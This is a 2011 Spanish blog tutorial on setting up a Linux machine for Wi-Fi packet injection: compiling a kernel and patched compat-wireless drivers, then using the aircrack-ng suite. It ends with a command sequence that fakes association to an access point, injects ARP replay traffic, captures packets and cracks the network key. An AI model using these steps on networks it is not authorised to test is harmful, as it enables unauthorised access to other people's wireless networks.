domingo, diciembre 04, 2011

Preparar wifi para inyección de paquetes.

Seguramente hayáis leído algo acerca de la seguridad en redes wireless, pero también habréis notado que la gran mayoría de estos documentos están pensados para utilizarlos en un sistema con la Backtrack corriendo.
En esta ocasión vamos a preparar nuestro sistema para que sea capaz de inyectar tráfico sin tener que emplear tan conocida distro.

Las piezas necesarias para poder realizar la inyección de paquetes son:
  • Compat-Wireless: Se trata de la pila wireless del kernel, separándola del kernel podremos probar parches que afectan a dicha pila sin tener que parchear el kernel.
  • Kernel: El resto de drivers.
  • AirCrack-NG

Lo primero será instalar AirCrack-NG:
apt-get install aircrack-ng

Compilamos las fuentes del kernel, en nuestro caso vamos a hacerlo para el kernel-3.0.2:
cd /usr/src
wget http://www.kernel.org/pub/linux/kernel/v3.0/linux-3.0.2.tar.bz2

Habilitamos los drivers de nuestra tarjeta de red(en mi caso ath9k):
Device drivers --> Network Device Support --> Wireless lan --> Atheros Wireless Card:
Atheros 802.11n wireless card support
Atheros ath9k PCI/PCIe bus support

También hacen falta los drivers de Intel, solo Dios sabe porque.....:
Device drivers --> Network Device Support --> Wireless lan --> Intel PRO/Wireless 2100 Network Connection

En la versión 3 del kernel ya no hay que hacer nada de forma manual, nos copiará la imagen del kernel a boot y generará una entrada en el grub.

Reiniciamos el equipo con el kernel nuevo y testeamos la inyección con:
airmon-ng start wlan0
aireplay-ng -9 mon0


Podemos ver las redes que se encuentran a nuestro alcance con:
airodump-ng mon0
airodump-ng --channel "CANAL" mon0

Pero en la primera línea aparecerá un problemilla, si nos fijamos el canal en el que se encuentra la tarjeta es el -1:
CH 9 ][ Elapsed: 4 s ][ 2011-11-01 19:32 ][ fixed channel mon0: -1

Cuando intentemos asociarnos al AP y aparece de nuevo el problema del canal:
aireplay-ng -1 0 -e NOMBRE_AP -a MAC_AP -h MI_MAC mon0
19:35:46 Waiting for beacon frame (BSSID: 09:01:CF:3F:DF:59) on channel -1
19:35:46 mon0 is on channel -1, but the AP uses channel 9

Para solventar esto tendremos que bajarnos compat-wireless y los parches pertinentes.
cd /usr/src
wget http://www.orbit-lab.org/kernel/compat-wireless-3.0-stable/v3.0/compat-wireless-3.0-2.tar.bz2
tar -jvxf compat-wireless-3.0-2.tar.bz2
cd compat-wireless-3.0-2
wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
patch -p1 < channel-negative-one-maxim.patch

Se puede optar por compilar todos los drivers o solo los correspondientes a nuestra tarjeta de red, si solo queremos compilar un módulo concreto(este script solo soporta algunas tarjetas, ath9k sí ;) ):
./scripts/driver-select --> Listamos módulos disponibles
./scripts/driver-select ath9k
make
make install
reboot

En el caso de que se quieran compilar todos los drivers:
make
make install
make wlunload
modprobe driver-name
reboot


Si decidimos desinstalar los módulos generados:
cd compat-wireless-...
make uninstall
make wlunload
modprobe "módulo original" o reiniciar

Ahora ya estamos en condiciones de proceder con la inyección de paquetes:
airmon-ng start wlan0
airodump-ng mon0
airodump-ng --channel "CANAL" mon0
aireplay-ng -1 0 -e NOMBRE_AP -a MAC_AP -h MI_MAC mon0
aireplay-ng -3 -b MAC_AP -h MI_MAC mon0 --> Empezamos a inyectar tráfico
airodump-ng --channel CANAL --bssid MAC_AP --write "nombre_fichero" mon0 --> Empezamos a capturar paquetes
aircrack-ng -a 1 "nombre_fichero.cap" --> Crackeamos los paquetes


Seguro que este articulo le es de ayuda a mas de uno, en mi caso tardé un tiempo en recopilar toda la información necesaria.

No hay comentarios: